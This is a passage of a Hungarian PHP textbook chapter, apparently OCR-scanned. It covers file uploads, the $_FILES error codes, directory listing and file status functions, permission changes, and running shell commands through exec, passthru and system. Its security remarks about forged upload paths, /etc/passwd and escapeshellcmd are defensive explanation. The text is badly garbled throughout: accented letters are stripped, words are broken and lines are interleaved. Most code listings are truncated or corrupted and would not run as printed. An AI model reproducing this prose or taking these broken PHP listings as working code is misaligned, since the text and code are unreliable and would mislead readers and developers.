szeretn, hogy maga tudja feltlteni a weboldala tartalmnak egy rszt - pldul a cgvel kapcsolaros friss hreket! (Vagy egyszeren csak az FTP-nl vagy SCP-nl bartsgosabb felletet szereme magnak.) Az egyik lehetsges megolds, ha meg engedjk neki, hogy egyszer szveges fjlknt feltltse a tartalmat. Ezt kveten a fjlok egy PHP-ben kialaktott sablonon keresztl lesznek elrhetk az oldalon (az Objektumorientlt PHP cm fejezetben ltott megoldshoz hasonlan). Mieltt elmlyednnk a fjlrendszer fggvnyeiben, nzzk meg rviden, hogyan mkdik a fjlfeltlts!
Fjlfeltlts
A PHP egyik igen hasznos jellemzje a fjlfelelts tmogatsa. Ahelyett, hogy a kiszolglrl HTTP-n keresztl a bngsz
be mennnek, feltltskor pont fordtott irnyban kzlekednek a fjlok. A feltltst ltalban HTML rlappal valstjuk meg.
A pldnkban hasznlt rlapot a 19.1 brn lthatjuk.
j fjlok feltltse
:,........ r::: :::: = 1 ..... l
19.1 bra: A fjlfeltltshez hasznlt HTML rlap a szoksos rlapoktl eltr mezkkel s meztpusokkal rendelkezik.
Lthatjuk, hogy a felhasznl az rlap szvegdobozba rhatja be az ltala helyileg elrhet fjlokat, illetve a.Tallzs" , gombra kattintva tallzhat azok kztt. Rvidesen ltni fogjuk, hogy lehet ltrehozni ezt az rlapot. A fjlnv megadsa utn
a
felhasznl a.,Fjl kldse" gombra kattint, s a fjl feltltdik a kiszolglra, ahol PHP kd vrja. Mieltt belemerlnnk a fjlfelclts plda rszleteibe, fontos megemltennk, hogy a php.ini fjl ngy direktvja szab
lyozza azt a mdot, ahogyan a PHP a fjlfeltltst kezeli. A 19.1 tblzatban ezeket a direktvkat, valamint alaprtelmezett rtkket s lersukat talljuk.
294
19. fejezet
belltsai
Alaprtelmezett rtk
19
Direktva
file_uploads upload_tmp_dir
Lers
upload_max_filesize
post_max size
A HTTP fjlfeltltst engedlyezi. Lehetsges rtkei On s Off. Azt a knyvtrat hatrozza meg, amelyben a feldolgozsra vr fjlok tmenetileg eltroldnak. Ha nincs megadva, a rendszer az alaprtelmezett rtket hasznlja. A feltlthet fjlok legnagyobb mrett szablyozza. Ha a feltlteni kvnt fjl ennl nagyobb, a PHP egy O bjtos helykitlt fjlt r helyette. A PHP lral elfogadhat POST adar legnagyobb mrert hatroz za meg. Az up load_max_filesize direktivban meghatrozott rtknl nagyobbnak kell lennie, mivel ez a POST mdszerrel kldtt sszes adat (kztk a feltltend fjlok) legnagyobb mre rt szablyozza.
On NULL
2M
8M
Figyeljk meg, hogy az rlap a POST metdust hasznlja! A fjlfeltltsek a Netscape Composer s az Amaya ltal tmoga tott PUT mdszerrel is mkdnek, de ebben az esetben jelentsen mdosrani kellene a kdot. A GET metdus fjlfeltltsekre nem hasznlhat. Az rlap az albbi jdonsgokat tartalmazza szmunkra: A <form> cmkben be kell lltanunk az enctype="multipart/form-data" tulajdonsgot, hogy kzljk a ki szolglval: a szoksos informci mellett fjl is rkezik. Szksgnk van a feltlthet fjlok maximlis mrett meghatroz rlapmezre. Jelen esetben rejtett mezvel dolgo zunk:
<input type="hidden" name="MAX_FILE_SIZE" value=" 1000000">
Jegyezzk meg, hogy a MAX_FILE_SIZE rlapmez opcionlis, mivel ezt az rtker szerveroldalon is bellthatjuk! Ha viszont az rlapban hasznljuk, a mez neve MAX_FILE_SIZE kell, hogy legyen. A felhasznJk legfeljebb az itt (bj-
295
tokban) megadott mret fjlokat tlthetik fel. Alkalmazsunk jellegtl fiiggen az rtket llthatjuk ennl kisebbre, de nagyobbra is. Meg kell adnunk azt is, hogy a beviteli adat tpusa file:
<input type="flle" name=" felhasznaloi fajl" id=" felhasznaloi_fajl"/>
19
Brmilyen nevet vlasztharunk a fjlnak, de ne felejtsk el, mivel ezt a nevet hasznlva fogjuk elrni a fjlt az azt fogad PHP kdbL
Megjegyzs: Mieltt tovbblpnnk, rdemes megemlteni, hogy a PHP egyes verziiban biztonsgi sebezhetsgeket talltak afjlfeltlts kdjban. Ha gy dntnk, hogy fjlfeltltst hasznlunk lesben mkd kiszolglnkon, gyeljnk, hogy a PHP legfrissebb vltozatt futtassuk, s egyik szemnket tartsuk llandan a megjelen javtsokonl Nem szksges, hogy mindez visszatartson bennnket e hasznos lehetsg hasznlattl, mindssze kell gondossggal kell eljrni kdunk megrsakor, s korltozzuk a fjlfeltlts elrhetsgt pldul az oldal rendszergazdira s a tartalomkezelsrt felels szemlyekre!
kd megrsa
A fjlt fogad PHP kd megrsa viszonylag magtl rtetd. Feltltskor a fjl azonnal egy, a php.ini upload_tmp_dir direktvjban meghatrozott, ideiglenes knyvtrba kerl. Ahogy a 19.1 tblzatban mr jelezrk, ha a direktva nincsen bellrva, alaprtelmezsben a kiszolgl els szm ideiglenes knyvtra jn a kpbe. Ha a kd fUttatsnak befejezse eltt nem helyezzk t, nem msoljuk le vagy nem nevezzk t a fjlt, akkor a kd vgn trldni fog az ideiglenes knyvtrbl. A PHP kdunkban kezelend adatok a $ _FILES szupergloblis tmbben troldnak el. Ha bekapcsoltuk a register_
globals belltst, kzvetlen vltozneveken keresztl is elrhetjk ezeket az adatokat. Azonban pontosan ez az a terlet,
ahol rendkivl fontos, hogy a register_globals ki legyen kapcsolva, vagy legalbbis gy tegynk, mintha ki lenne iktarva, s a szupergloblis tmbt hasznljuk, illerve hagyjuk figyelmen kvl a globlis vltozkat. A $_FILES tartalma a HTML rlap <file> cmkjnek nevvel lesz eltrolva. Mivel rlapelemnk neve
felhasznaloi_fajl, a tmbbe
az
A$_FILES ['felhasznaloi_faj l' J [o tmp_nameo J-ben trolt rtk mutatja a helyet, ahol a fjlt
webszervernkn ideiglenesen eltrolruk. A $_FILES [o felhasznaloi_fajl o) [o name o ]-ben trolt rtk a fjlnak a felhasznl rendszerben hasznlt neve. A $_FILES [o felhasznaloi_fajl o J [o size ]-ban trolt rtk a fjl bjtokban kifejezett mrete.
o
A $_FILES [0 felhasznaloi_faj l o J [0 type o ]-ban trolt rtk a fjl MIME-tpusa- pldul text/plain vagy image/gif. A $ _FILES [o felhasznaloi_fajl' J [0 error ]-ban trolt rtk a fjlfeltltssel kapcsolatos esetleges hiba
0
kdokat tartalmazza. Ez a fUnkci a PHP 4.2.0-s verzijban jelent meg. Feltve persze, hogy tudjuk, hol van a fjl, s hogy hvjk, most mr valami hasznos helyre msolhatjuk. A kd fUttatsnak
a
vgn az ideiglenes fjl trldik. Ha szeretnnk megtartani, t kell helyezni, vagy t kell nevezni. A plda kedvrt friss hrekknt fogjuk felhasznlni a feltlttt fjlokat, ezrt eltvoltjuk bellk
az
esetlegesen ottma
radt cmkket, majd egy hasznlhatbb knyvtrba (feltoltesek/ ) helyezzk t ket. Ne feledkezznk meg arrl, hogy
a
webszerver gykrknyvtrban ltre kell hoznunk uploads nev mappt! Az eddig vzolt feladatot ellt kdot a 19.2 pldakd tartalmazza.
<title>Feltlts ... </title> </head> <body> <hl>A fjl feltltse ...</hl> <?php if ( $ FILES [0 felhasznaloi faj l o J [o error o J > O)
296
19. fejezet
';
19
echo 'A fjlmret meghaladja a maximlisan feltlthet mretet'; break; echo 'a fjlmret meghaladja a maximlis mretet'; break; echo 'A fjl feltltse csak rszlegesen sikerlt'; break;
echo 'Nem lett fjl feltltve'; break; echo 'Nem lehet feltlteni a fjlt: break; echo 'Nem sikerlt a feltlts: break; Nem lehetett a lemezre rni'; Nincs ideiglenes mappa meghatrozva';
ll tegyk a fjlt a neknk tetsz helyre! $feltolt endo_fajl 'feltoltesekl' . $ FILES[ 'felhasznaloi fajl' l ['name' l
ll tvoltsuk el a fjl tartalmbl az esetleges HTML s PHP cmkket! $tartalom = file_get_contents($feltoltendo_fajl); $tartalom = strip_tags($tartalom); file_put_ contents($_FILES['felhasznaloi_fajl' J ['name' l, $tartalom);
ll mutassuk meg a feltlttt fjlt' echo '<p>A feltlttt fjl tartalmnak elnzete:<brl><hrl>'; echo nl2br($tartalom); echo '<brl><hrl>';
297
19
rdekes mdon a fenti kd nagy rsze hibaellenrzs. A fjlfelelts potencilis biztonsgi kockzatokkal jr, s ahol le hetsges, mrskelni kell a kockzacokac. A lehet leggondosabban eljrva ellenrizni kell a felelttt fjlt, hogy megjelentse biztonsgos legyen ltogatink szmra. Menjnk vgig a kd fbb rszein! Elszr is ellenrizzk a$ _FILES ['felhasznaloi_faj l' l ['error' l ltal visz szaadott hibakdot! Ezekhez a hibakdokhoz egy-egy lland lett rendelve. A lehetsges hibakdok, a hozzjuk tartoz kons tans, illetve jelentsk a kvetkez:
UPLOAD_ERROR_OK,
az rtke 0, azt jelenti, hogy nem trtnt hiba. az rtke l, azt jelenti, hogy a felelttt fjl mrete meghaladja a php . ini fjlban az az rtke 2, azt jelenti, hogy a feltlttt fjl mrete meghaladja a HTML rlap MAX_FILE_ direktva ltal meghatrozott rtket.
UPLOAD_ERR_INI_SIZE, upload_max_filesize
elemben meghatrozott, maximlis rtket. az rtke 3, azt jelenti, hogy a fjl csak rszlegesen lett felclcve. az rtke 4, azt jelenti, hogy nem trtnt fjlfeltlts. az rtke 6, azt jelenti, hogy nem lett a php. ini fJlban ideiglenes knyvcr meghat az rtke 7, azt jelenti, hogy a fjl lemezre rsa sikertelen (ez a hibakd a PHP 5.1.0-s
UPLOAD_ERR_NO_TMP_DIR,
verzijban lett bevezetve). Ha a PHP egy rgebbi verzijt kvnjuk hasznlni, a PHP kziknyvben callhat mintakdokkal sajt kezleg hajthatjuk vgre ezeket az ellenrzseket. Lehetsgnk van a MIME-cpus ellenrzsre. Mivel pldnkban csak szveges fjlokat kvnunk feltlteni, a MIMErpus ellenrzshez gyz<ljnk meg arrl, hogy a$ _FILES [ 'felhasznaloi_faj l' l ['type' l a text/plain cpust tartalmazza! Mindez csak hibakeress, nem biztonsgi ellenrzs. A MIME-cpust a felhasznl bngszje llaptja meg a ki szolglnak tadoct fjl kicerjesztsbL Ha a rosszindulat felhasznlknak brmi elnye szrmazna abbl, hogy nem a valdi kiterjesztst adjk t, akkor knnyen megtehetnk azt. Ezt kveten ellenrizhetjk, hogy a megnyitni kvnt fjl tnylegesen fel lett-e tltve, nem pedig olyan fjlrl van sz, mint pldul az l e tc/passwd. Rvidesen visszatrnk mg erre a krdsre. Ha idig minden rendben ment, akkor bemsolhatjuk a fjlt a beillesztend fjlokat tartalmaz knyvtrba. Pldnkban
a feltol tesek/ a
knyvtrat hasznljuk erre; a webes dokumentumknyveron kvl helyezkedik el, ezrt megfelel hely
()
cmkket, majd visszarhatjuk. Vgezetl jelentsk meg a tartalmr, hogy a felhasznl lssa, sikeresen felelttte a kvnt fjlt! A 19.2 brn a kd egy (sikeres) futtatsnak eredmnyt lthatjuk. 2000 szeptemberben kzz tettek egy olyan biztonsgi rst (exploicoc), amely lehetv tette a crackereknek, hogy a fjlfel tlt kdokat megbolondrva feltlttt fjlknt tneessk fel a PHP eltt a helyi fjlokac. Eze a biztonsgi rst a BUGTRAQ levelezlistjn dokumentltk. A hivatalos biztonsgi tancsokat tartalmaz dokumentumot a BUGTRAQ archvumban talljuk meg a hrcp://lists.insecure.org/bugcraq/2000/Sep/0237.hrml cmen.
fjl feltltse...
. .....
,. .......Illi
& ..... llllljlllkw.
19.2 bra: A
()
fggvnyt
hasznlja, ami szavacolja, hogy a feldolgozand fjlokat tnylegesen felclcttk, nem pedig olyan helyi fjlok, mint pldul az l Ezek a fggvnyek a PHP 4.0.3-as verzijtl rhetk el.
298
19. fejezer
Ha nem kell gondossggal rjuk meg a feltltst kezel kdot, egy rosszindulat ltogat sajt ideiglenes fjlnevr hasznlva rveheri kdunkat, hogy feltltttknt kezelje a fjlt. Mivel a fjlfeltlt kdok nagy rsze a feltlttt adarokat megjelenti a fel
19
hasznlnak, vagy ksbbi berlts cljbl eltrolja azokat, ez akr azt is eredmnyezheti, hogy a ltogatk a webszerver ltal olvasni kpes brmely fjlhoz hozzfrhetnek. Ez mg olyan titkos fjlokat is rinthet, mint az letclpasswd vagy az adatb zisjelszavakar tartalmaz PHP forrskd.
"lhomelhttpdlhtmllindex.php";
Windows-alap rendszer esern figyeljnk, hogy \ helyerr \\-t vagy l-t hasznljunk az elrsi tvonalaknl! Szmos klnbz problmt verher fel, ha - pldnkhoz hasonlan - a felhasznl ltal megadott fjlnevet hasznljuk. A legkzenfekvbb problma a meglv fjlok nem kivnt fellrsa abban az esetben, amikor a felhasznl mr ltez nvvel tlti fel a fjlt. Nem ennyire egyrtelm, de legalbb ugyanekkora gondor okozhat, hogy a klnbz opercis rendszerek, sr a klnbz nyelvi bellrsok is ms karakterkszletek hasznlatr engedik a fjlnevekben. Knnyen elfordulhat, hogy a feltlttt fjl nevben a rendszernk ltal nem megengedett karakter fordul el. Ha nem sikerl a fjlfeltltst mkdsbe hozni, ellenrizzk php.ini fjlunkat l Elfordulhat, hogy az up load_
tm p_di r direktvban meg kell adnunk egy olyan knyvtrat, amelyhez hozzfrssel rendelkeznk. Ha nagyobb fjlo
kar szeremnk feltlteni, elkpzelhet, hogy a memory _limi t bellrsr is mdosrani kell; ez hatrozza meg ugyanis a feltlthet fjlok maximlis mrett (bjrban). Az Apache-nl bellrhat az idtllps (timeout) s a tranzakci m rerkorlrja is - ha problmink addnak a nagy fjlok felrltsvel, rdemes ezeket is ellenrizni.
Knyvtrfggvnyek hasznlata
Miurn a felhasznlk feltltttk llomnyaikat, hasznos lehet szmukra, ha meg tudjk tekinteni, hogy mir is tltttek fel, illetve mdosrani tudjk ezeker a tartalmakat. A PHP szmos, erre a clra alkalmas, a knyvtrakkal s a fjlrendszerrel kap csolatos munkt leherv tev fggvnnyel rendelkezik.
Olvass knyvtrakbl
Elszr is rjuk meg a kdot, ami lehetv teszi a feltlttt tartalmak knyvrrai kzrri tallzsr! Az ilyen tallzs viszonylag egyszeren megvalsthat PHP-ben. A 19.3 pldakd egy ilyen clra hasznlhat, egyszer kdot tartalmaz.
listzsa
299
19
'feltoltesek/';
opendir($aktualis konyvtar);
echo "<p>A feltolts clkonyvtra: $aktualis konyvtar</p>"; echo '<p>A knyvtr tartalma:</p><ul>';
while(false
ll a . s .. knyvtrak kiszrse
if($fajl
!= ". "
&&
$fajl
!=
"
.. ")
l
echo "<li>$fajl</li>";
echo
'</ul>';
Ez a kd az opendir (),a elosedir ()s a readdir () fggvnyt hasznlja. Az opendir() fggvny olvassra nyitja meg a knyvtrat. Hasznlata a fjlokbl olvassra alkalmas fopen () fggvny hez hasonl. Fjlnv helyett itt azonban a knyvtrnevet adjuk t:
$konyvtar
=
opendir($aktualis_konyvtar);
az
Hasonlan ahhoz,ahogy
(directory handie) tr vissza. Megnyitott knyvtrbl a readdir($konyvtar) meghvsval olvashaguk ki a fjlneveket. Ha a knyvtrban mr nincs rbb fjl, amit kiolvashatnnk, a fggvny visszarrsi rrke false lesz. Jegyezzk meg,hogy a fggvny akkor is a hamis r rker adja vissza, ha
while(false
"
O " nev fjlt olvas be! Eze elkerlend, kifejezetten ceszceljk, hogy a visszatrsi rrk ne hamis legyen:
($fajl = readdir($konyvtar)))
1==
Ha befejezzk a knyvcr kiolvassc, a elosedir($konyvtar) meghvsval zrhaguk be. Ez a fjlkezels esetben hasznlc fclose () fggvny meghvsval egyenrtk. A 19.3 brn a knyvtrt bngsz kd kimenetre ltunk pldt.
Tallzs
,. ..... AW ...... . _..
,...-J:- . ....,m
19.3 bra: A
300
19. fejezet
( az aktulis knyvtr)
s a . .
19
if($fajl
!= " . "
$fajl
!= " .
")
Ha kitrljk ezt a sort, a . s a .. knyvtr is hozzaddik a megjelentett fjllisthoz. Ha ilyen mdszerrel lehetv tesszk a felhasznlk szmra a knyvtrak kztti tallzst, rdemes korltozni az elrhet knyvtrak tartomnyt, hogy ne tudjanak olyan knyvtrakba eljutni, amelyek egybknt tiltortak szmukra. Ide kapcsold s esetenknt igen hasznos fggvny a rewinddi r($konyvtar) , amellyel egyszeren visszaugorhatunk a knyvtrban lv els fjlra. A fenti fggvnyek alternatvjaknt a PHP dir osztlyt is hasznlhatj uk. Az osztly handle s path attribtummal, illetve read(), close() s rewind () metdussal rendelkezik, amelyekkel a fent bemutatott fggvnyekkel megegyez ered mnyt rhetnk el. A 19.4 pldakdban a dir osztlyt hasznlva rtuk t a fenti pldt.
19.4 pldakd: konyvtar tallozas2. php
_
<html> <head> <title>Knyvtrak tallzsa</title> </head> <body> <hl>Tallzs</hl> <?php $konyvtar = dir("feltoltesek/"); echo "<p>A mutat: $konyvtar->handle</p>"; echo "<p>A feltlts clknyvtra: $konyvtar->path</p>"; echo '<p>A knyvtr tartalma:</p><ul>'; while(false if($fajl !== ($fajl = $konyvtar->read())) != " . " $fajl 1= " .. )
"
A fenti pldban nem rendeztk a fjlneveket, de ha rendezett listra lenne szksgnk, a PHP 5-s verzijban megjelent
scandir () fggvnyt hasznlhatjuk erre a clra. Ez tmbben trolja el a fjlneveket, s bc szerint emelked vagy cskken
30 l
$fajls l $fajls2
scandir($konyvtar); scandir($konyvtar,
/
l);
echo "<p>A feltlts clknyvtra: $konyvtar</p>"; echo '<p>A knyvtr tartalma bcrendben (emelked) :</p><ul>';
19
foreach($fajlokl as $fajl)
{
if($fajl
1=
"."
&&
$fajl
!= " .. ")
echo "<li>$fajl</li>";
echo
'</ul>';
echo "<p>A feltlts clknyvtra: $konyvtar</p>"; echo '<p>A knyvtr tartalma bcrendben (cskken) :</p><ul>';
foreach($fajlok2 as $fajl)
{
if($fajl
!= " .
"
&&
$fajl
!= " .. ")
echo "<li>$fajl</li>";
echo
'</ul>';
a knyvtrat tartalmaz lemezen (Windows), illetve fjlrendszeren (Unix) elrhet szabad bjtok szmt adja vissza.
0 777);
Mindazonltal egyltaln nem biztos, hogy vgeredmnyknt az ltalunk megadott jogosultsgokat fogjuk kapni. A tny leges jogosultsgok az aktulis umask s az ltalunk megadott rtk AND mveleti jellel trtn sszekapcsolsbl addnak. Ha pldul 022 az umask, 0755-s jogosultsgokat kapunk eredmnyl. (Az umask egy adott knyvtr vagy fjl hozzfrsi jogosultsgait bellt Unix parancs. Ugyanezen a nven, megegyez funkcival megtallhat Linux alatt, illetve PHP-ben az
umas () beptett fggvny formjban.)
302
19. fejezet
Ezt elkerlend rdemes lehet a knyvtr ltrehozsa eltt nullzni az umaskot, pldul gy:
$elozo_umask = umask(O);
19
mkdir("/tmp/testing", umask($elozo_umask);
0777);
Ez a kd az umask()fggvnyt hasznlja, amellyel az umask aktulis rtkt ellenrizhetjk s vltoztathatjuk meg. Az aktulis umask rtket a neki radott rtkre vltoztatja, visszatrsi rtke pedig a rgi umask,vagy,amennyiben paramter nlkl hvjuk meg. egyszeren az aktulis umaskot adja vissza. rdemes megemlteni,hogy windowsos rendszer esetn az
urnask()fggvny nem mkdik.
vagy
rmdir("c:\\tmp\\testing");
A fjlrendszer elrse
A knyvtrak megtekintsn s a rjuk vonatkoz informcik sszegyjtsn tlmenen webszervernk fjljaival is dolgozha tunk, illerve informcikat gyjthetnk azokrl. Korbban mr megnzrk, hogyan rhatunk a fjlokba, illetve hogyan olvasha tunk bellk. A fjlokkal vgzend munkhoz ugyanakkor sok ms fjlkezel fggvny is rendelkezsnkre ll.
Fjlinformcik gy tse j
A knyvtrtallz kd fjlokat beolvas rszt a kvetkezkppen mdosthatjuk:
while(false 1== ($fajl
=
readdir($konyvtar)))
Ezt kveten a fajlreszletek.php kd megrsval tovbbi informcikat kaphatunk az egyes fjlokrL A kd tar talmt a 19.6 pldakdban talljuk. Egy figyelmeztets e kddal kapcsolatban: az irt hasznltfggvnyek egy rsze, kztk a posix_getpwuid (),a fileowner() s a filegroup ()Windows alatt nem vagy nem megbzhatan tmogatott! 19.6 pldakd: fajlreszletek.php- Fjlllapotfggvnyeks azok eredmnye
<html> <head> <title>A fjl rszletes adatai</title> </head> <body> <?php $aktualis konyvtar
=
echo '<h2>Fjladatok</h2>'; echo 'Utols megnyits idpontja: '.date('j F Y H:i', echo 'Utols mdosts idpontja: '.date('j F Y H:i', fileatime($fajl)).'<br>'; filemtime($fajl)).'<br>';
303
'.decoct(fileperms($fajl)).'<br>';
'.filetype($fajl).'<br>';
echo 'Fjlmret:
'.filesize($fajl).' bjt<br>';
19
echo 'is_dir:
'false').'<br>'; 'false').'<br>';
'.(is_file($fajl)?
'.(is_link($fajl)?
'true' :
to
s.or-
!jlool
....... .......
_,.
19.4 bra:
Fjlrendszerre vonatkoz informcik megjelentse valamely fjlrl. A jogosultsgokat itt oktlis formban lyuk.
Vizsgljuk meg egyenknt, mi a feladatuk a 19.6 pldakdban hasznlt fggvnyeknek! Ahogy mr emltettk, a basename ( ) fggvny a knyvtr nlkli fjlnevet adja vissza. (A dirname ( ) fggvnnyel ezzel szemben a knyvtr fjlnv nlkli nevt kapjuk meg.) A fileatime () s a filemtime() f ggvny a fjlhoz val utols hozzfrs, illetve a fjl utols mdostsnak idblyegt adja vissza. Annak rdekben, hogy emberi szemmel is olvashat idpontot jelentsnk meg, a date () fggvnnyel formztuk a kt idblyeget. Egyes opercis rendszereken - az ltaluk trolt informciktl fggen -ugyanazt az rtket adja vissza ez a kt fggvny. A fileowner() s a filegroup ( ) fggvny a fjl felhasznli azonostjt { uid) s csoportazonostjt (gid) adja vissza. Ezeket az azonostkat a posix _getpwuid (),illetve a posix_getgrgid () fggvnnyel lehet nevekk alaktani, gy egybl knnyebben olvashatk lesznek. Ezek a fggvnyek paramterknt az uid-et vagy a gid-et fogadva a felhasznl- vagy a csoportinformcik asz szaciativ tmbjt adjk vissza, amely a felhasznl vagy a csoport nevt tartalmazza az ltalunk a kdban hasznlt formban. A fileperros() a fjljogosultsgokat adja vissza. A decoct() fggvnnyel oktlis szmm alaktottuk ket, hogy a Unix felhasznJk szmra ismersebb formt ltsenek. A filetype() fggvny a vizsglt fjl tpusrl ad informcit. A fggvny lehetsges visszatrsi rtkei: fifo,char, dir,
b lock, link, file s unknown (ismeretlen).
A filesize() fggvny a fjl bjtokban kifejezett mrett adja vissza. A fggvnyek msodik csoporga- is _dir(),is_executable(),is _file(), is_link(),is_readable() s is
writable () -a fjlnak az egyes fggvnyek nevben szerepl tulajdonsgait teszteli. Visszatrsi rtkk az eredmnytl
304
19. fejezet
19
Ugyanezen informcik nagy rszt a stat () fggvnnyel is sszegyjthetnnk. Ha radunk neki egy fjlt, a fentiekhez hason l adatokat tartalmaz tmbt kapunk vissza. Az lstat () fggvny hasonl, de szimbolikus linkekhez (symlink) hasznlhat. A fjlllapotfggvnyek futtatsa viszonylag idignyes. Eredmnyeik ezrt a gyorsttrba kerlnek. Ha szeretnnk a fjlin formcikat valamilyen vltoztats elre s utn sszehasonltani, a
clearstatcache();
fggvny meghvsval elszr trlni kell a korbbi eredmnyeket. Ha az elz kdot valamilyen fjladat megvltoztatsa eltt s utn szeretnnk hasznlni, az aktulis adatok beszerzse rdekben e fggvny meghvsval kell kezdeni a kdot.
Fjltulajdonsgok mdostsa
A fjltulajdonsgokat nem csak megrekinteni, hanem mdostani is lehet. A chgrp(fajl, csoport), a chrnod(fajl, jogosultsagok) s a chown (fajl, felhasznalo) fggvny a unixos megfeleljhez hasonlan viselkedik. Windowsos rendszereken ezen fggvnyek egyike sem fog mkdni, noha a chown() ott is lefut, s mindig true rtkkel tr vissza. A chgrp() fggvny a neki radott fjl csoportjt vltoztatja meg. Hasznlatval csak olyan csoportra lehet vltani, ame lyiknek a felhasznl tagja (kivve root felhasznl esetn). A chrnod () fggvny a f:ijl jogosultsgait mdostja. A fggvnynek tadoct jogosultsgok a szoksos, unixos chrnod form ban kell, hogy legyenek. O (nulla) eltaggal kell elltni ket jelezvn, hogy oktlis szmrl van sz, mint az albbi pldban:
chmod('valamilyen_fajl.txt',
0777);
A chown () fggvnnyel a fjl tulajdonost vltoztathatjuk meg. Csak akkor hasznlhat, ha a kdot futtat felhasznl root, aminek viszont csak akkor szabad bekvetkeznie, ha rendszergazdai feladat vgrehajtsa cljbl szndkosan, a parancs sorbl futtatjuk a kdot.
[,
Ha a fjl mr ltezik, utols mdostsnak idpontja a pontos idre vagy a msodik - opcionlis -paramterben megha trozott idpontra vltozik. Ha szetetnnk megadni ezt az idpontot, idblyeg formtumban kell megrennnk. Ha a fjl nem ltezik, a rendszer ltrehozza. A f:ijlhoz val utols hozzfrs idpontja is megvltozik: alaprtelmezsben a rendszer pontos idejre vagy az opcionlis adott_i dopo nt paramterben meghatrozott idblyegre. Fjlokat az unlink() fggvnnyel trlhetnk. (Jegyezzk meg. hogy a fggvny neve vletlenl semdelete-ilyen nev fggvny ugyanis nem ltezik!) A kvetkezkppen hasznljuk:
unlink($fajlnev);
Fjlokat a copy () s a rename () fggvnnyel tudunk msolni, illetve thelyezni az albbiak szerint:
copy($forras_eleresi_utvonal, rename($regi fajl, $uj_fajl); $cel eleresi_utvonal);
Emlkezhetnk, hogy a copy() fggvnyt mr hasznltuk a 19.2 pldakdban. A rename ()ketts feladatot lt el: mivel a PHP nem rendelkezik thelyez fggvnnyel, az tnevezsen kvl erre a funk cira is ezt hasznljuk. Az, hogy a fjlokat a rename( ) hasznlatakor az egyik fjlrendszerbl a msikba thelyezzk, vagy fellrjuk ket, az opercis rendszertl fgg. ezrt rdemes a szerveren elszr kiprblni a fggvny hatst. gyeljnk a fjl nvhez hasznlt elrsi tvonalra is! Relatv elrsi tvonal esetn a kdhoz, nem pedig az eredeti fjlhoz kell viszonytani azt.
[,
array &eredmeny
[,
int &visszateresi_ertek)))
305
Az exec () fggvnynek nincsen kzvetlen kimenete.A vgrehajtott parancs eredmnynek utols sort adja vissza. Ha ereeimeny-knt radunk a fggvnynek egy vlrozt, a kimenet minden egyes sort tartalmaz tmbt kapunk vissza. Ha visszateresi_ertek-knt is radunk egy vltozt, a visszatrsi kdot kapjuk meg.
passthru ()-A passthru () fggvny prototpusa a kvetkezkppen nz ki: void passthru (string parancs
19
[,
int visszateresi_ertek))
A pass thru () fggvny a bngszn keresztl kzvetlenl kiratja kimenett. (Ez a funkci akkor igazn hasznos, ha a kimenet binris- pldul valamilyen kpadat.) Nincs visszatrsi rtke. Paramcerei ugyangy mkdnek, mint az exe c() fggvny.
system () -A system () fggvny az albbi prototpussal rendelkezik: string system (string parancs
[,
int visszateresi_ertek))
A fggvny kiraga a parancs eredmnyt a bngszbe. Minden sor utn megprblja megjelenteni a kimenetet (felt ve, hogy szervermodulknt futtatjuk a PHP-t), ebben eltr a passthru () fggvnytL Visszatrsi rtke a kimenet utols sora (sikeres mkds esetn) vagy false (hiba esetn). Paramcerei ugyangy mkdnek, mint a tbbi fggvny. Fordtott idzjelek ( ')-Az l. fejezetben rviden emltettk a fordtott idzjeleket (backtick). Ezek tulajdonkppen vgrehajt opertorok. Nincsen kzvetlen kimenetk.A parancs vgrehajtsnak eredmnyt karakterlncknt kapjuk vissza, amit azutn meg jelenthetnk, vagy brmi mst is kezdhetnk vele. Bonyolultabb ignyek esetn a pope n (),a proc_open() s a proc_close () fggvnyt is segtsgl hvhatjuk. Ezek kls folyamatokat s adatokat kezelnek.A proc_open () s a proc_ close () a PHP 4.3-as verzijhoz lett hozzadva. A 19.7 pldakd azt szemllteti, hogyan lehet a ngy klnbz mdszert egyenrtken hasznlni.
19.7 pldakd: progex. php <?php chdir('feltoltesek/');
Fjlllapoifggvnyek s eredmnyk
ll unix
exec('ls -la', $eredmeny);
ll windows ll exec('dir',
$eredmeny); foreach ($eredmeny as $sor) echo "$sor\n"; echo '</pre>'; echo '<br><hr><br>';
ll unix
passthru('ls -la')
ll windows ll passthru('dir');
echo '</pre>'; echo '<br><hr><br>';
ll unix
306
19. fejezet
ll windows
19
ll $eredmeny = system('dir');
echo '</pre>'; echo '<br><hr><br>';
ll unix
$eredmeny = 'ls -al';
>
Brmelyik megkzeltst alkalmazhatjuk a korbban ltott knyvtrtallz kd alternavjaknt. De meg kell emlte nnk a kls fggvnyek hasznlatnak a fenti kd ltal is kesen bizonytott mellkhatst: kdunk nem lesz hordozhat (platformfggetlen). A Unix parancsok hasznlata azt eredmnyezi, hogy Windowsan egyszern nem fog futni a kd. Ha szetetnnk a futtatni kvnt parancsba felhasznlk ltal elkldtt adatokat beilleszteni,elszr mindig alkalmazzuk rjuk az escapeshellcmd() fggvnyt! gy megelzhet, hogy a felhasznlk rosszindulatbl (vagy ms motivcibl) pa rancsokat futtassanak rendszernkn. A kvetkezkppen hvhatjuk meg ezt a fggvnyt:
system(escapeshellcmd($parancs));
fggvny pldul annak az oldalnak az URL-jt adja meg, ahonnan a felhasznl az aktulis oldalra rkezett. A putenv() fggvnnyel szksg esetn be is llrhatjuk a krnyezeti vltozkat, ahogy tesszk az albbi pldban:
$home
=
"/home/nobody";
hasznlk csak azokat a krnyezeti vltozkat mdosthatjk, amelyeknek eltagja fel van sorolva a direktvban.
Megjegyzs: Ha szeretnnk tbbet megtudni arrl, mit jelkpeznek az egyes krnyezeti vltozk, tekintsk t a http:/l
hoohoo.ncsa.uiuc.edu/ egi/env.html oldalon elrhet CGI-speci.fikcit!
Tovbbi olvasnival
A PHP fjlrendszerfggvnyeinek tbbsge
az
Hogyan tovbb
A 20. fejezetben elsajttjuk a PHP hlzati s protokollfggvnyeinek hasznlatr, hogy sajt webszervernkn kvl ms rendszereket is elrjnk. Ezzel j tvlatok nylnak meg kdjaink eltt.
20
Hlzati s protokollfggvnyek hasznlata
